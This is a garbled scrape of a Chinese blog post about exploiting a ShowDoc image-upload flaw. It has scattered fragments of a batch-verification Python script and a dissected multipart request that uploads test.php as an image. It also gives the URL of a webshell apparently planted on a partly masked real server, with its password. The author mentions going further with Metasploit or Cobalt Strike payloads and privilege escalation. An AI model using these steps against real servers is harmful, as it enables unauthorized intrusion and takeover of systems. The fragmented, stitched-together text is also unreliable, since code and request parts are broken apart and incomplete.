showdoc漏洞-CSDN博客

如果能成功访问就说明有可能存在漏洞是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证

搜索ip脚本的编写教程Python教程如何用Python编写FOFA爬虫获取信息_fofa

python-CSDN博客

read_urls(file_path)test_vulnerabilities(urls)if

__name__

boundary--------------------------921378126371623762173617

Content-Length:

257----------------------------921378126371623762173617

Content-Disposition:

----------------------------921378126371623762173617--

Content-Type:

boundary--------------------------921378126371623762173617:

Content-Type:

格式这种格式通常用于上传文件或包含多个部分的数据。

boundary--------------------------921378126371623762173617

是分隔符它用于分隔请求中的各个部分。

边界值用于在请求体中分隔不同的数据部分。

Content-Length:

----------------------------921378126371623762173617:

这是第一个分隔符表示请求体的开始。

这是用来分隔请求中的第一个部分的边界。

Content-Disposition:

表示这是表单数据的一部分。

nameeditormd-image-file

editormd-image-file。

filenametest.php

Content-Type:

字段的内容这可能会导致代码执行漏洞允许攻击者在服务器上执行任意代码。

----------------------------921378126371623762173617--:

反斜杠后链接就会变成这样

http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php

连接密码mima

可以继续上传msf或cs的马进行操作提权但是我没有目标的授权就不继续下去了如果你需要学习这方面的知识可以订阅我的专栏49-4

内网渗透

不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

免责声明

信息准确性尽管我尽力提供准确的信息但不保证其完全准确或适用。

使用前请自行验证。

风险提示技术使用可能带来风险如系统损坏或数据丢失。

请谨慎使用并自行承担风险。